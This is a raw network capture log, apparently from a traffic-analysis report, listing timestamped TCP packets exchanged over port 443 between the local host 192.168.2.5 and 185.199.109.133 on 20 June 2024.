Jun 20, 2024 19:07:14.776695967 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.776748896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.776755095 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.776794910 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.777268887 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.777281046 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.777348042 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.777353048 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.777391911 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.777961969 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.777987957 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.778017998 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.778023005 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.778049946 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.778059959 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.819758892 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.819801092 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.819840908 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.819854975 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.819885969 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.819906950 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.861223936 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.861247063 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.861300945 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.861316919 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.861342907 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.861960888 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.861978054 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.862020969 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.862034082 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.862061024 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.862334013 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.862663031 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.862683058 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.862745047 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.862757921 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.862809896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.863342047 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.863362074 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.863421917 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.863435984 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.863497972 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.863910913 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.863925934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.863989115 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.864001989 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.864052057 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.864800930 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.864820957 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.864871025 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.864885092 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.864933968 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.865502119 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.865515947 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.865571976 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.865585089 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.865634918 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.907020092 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.907038927 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.907103062 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.907123089 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.907154083 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.910504103 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.948271990 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.948285103 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.948348999 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.948364019 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.948410034 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.948410034 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.948987007 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.948999882 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.949065924 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.949079037 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.949124098 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.949704885 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.949718952 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.949783087 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.949796915 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.949847937 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.950280905 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.950294971 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.950370073 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.950382948 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.950436115 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.951180935 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951194048 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951283932 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.951311111 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951421022 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.951834917 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951848030 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951906919 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.951920033 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.951968908 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.952500105 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.952512980 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.952584982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.952599049 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.952697992 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.994118929 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.994132996 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.994198084 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:14.994204998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:14.994247913 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.036706924 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.036720991 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.036786079 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.036813974 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.036854029 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.037641048 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.037656069 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.037731886 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.037751913 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.037803888 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.038863897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.038877010 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.038948059 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.038968086 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.039015055 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.040379047 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.040391922 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.040469885 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.040513039 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.040560961 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.041083097 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041124105 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041193962 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.041208982 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041260004 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.041611910 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041625977 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041690111 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.041702032 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.041747093 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.042334080 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.042346954 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.042422056 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.042433023 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.042491913 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.081813097 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.081828117 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.081907988 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.081916094 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.081953049 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.123856068 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.123872042 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.123954058 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.123975992 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.124030113 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.125108004 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.125123024 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.125227928 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.125247955 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.125298977 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.125968933 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.125983000 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.126044989 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.126056910 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.126101017 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.127522945 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.127537966 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.127614021 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.127628088 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.127680063 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.128231049 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.128281116 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.128340960 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.128355026 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.128407001 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.128928900 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.128941059 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.129020929 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.129034996 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.129091024 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.129517078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.129529953 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.129595041 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.129607916 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.129795074 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.170495033 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.170507908 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.170592070 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.170598984 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.170650959 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.211277008 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.211289883 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.211378098 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.211391926 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.211446047 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.211935997 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.211949110 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.212018967 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.212029934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.212081909 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.212996960 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.213011980 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.213078976 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.213090897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.213129997 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.214881897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.214900970 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.214971066 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.214984894 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.215049982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.215442896 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.215456963 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.215529919 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.215542078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.215593100 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.216474056 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.216490984 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.216624022 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.216636896 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.216689110 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.217003107 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.217015982 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.217082977 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.217094898 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.217144966 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.219558954 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.259634972 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.259648085 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.259727001 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.259742022 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.259795904 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.303373098 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.303400040 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.303458929 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.303473949 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.303503036 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.303519964 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.306838036 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.306910992 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.306931019 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.306992054 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.307585955 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.307600021 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.307677984 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.307692051 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.307743073 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.309129953 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309143066 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309205055 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.309217930 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309267998 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.309581041 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309597015 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309648991 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.309662104 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.309690952 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.310192108 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.310208082 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.310260057 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.310272932 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.310328007 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.311103106 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.311125040 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.311170101 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.311182022 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.311208963 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.312566996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.346120119 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.346136093 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.346208096 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.346227884 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.346276999 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.391233921 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.391254902 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.391325951 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.391331911 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.391380072 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.394798994 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.394823074 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.394885063 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.394893885 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.394933939 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.395462036 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.395483017 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.395539999 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.395545959 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.395597935 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.396605968 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.396626949 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.396693945 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.396699905 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.396747112 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.397425890 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.397442102 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.397486925 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.397491932 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.397521973 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.397531986 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.397972107 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.397988081 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.398041010 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.398046017 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.398088932 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.398619890 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.398637056 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.398699045 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.398704052 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.398746014 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.435607910 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.435630083 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.435712099 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.435726881 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.435777903 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.447146893 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.479598999 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.479620934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.479675055 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.479696035 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.479733944 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.479754925 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.483675957 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.483697891 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.483766079 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.483779907 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.483841896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.484373093 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.484390974 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.484445095 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.484451056 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.484499931 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.485532999 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.485549927 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.485630035 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.485635996 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.485675097 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.486049891 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.486064911 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:15.486114025 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:15.486119032 CEST	443	49706	185.199.109.133	192.168.2.5
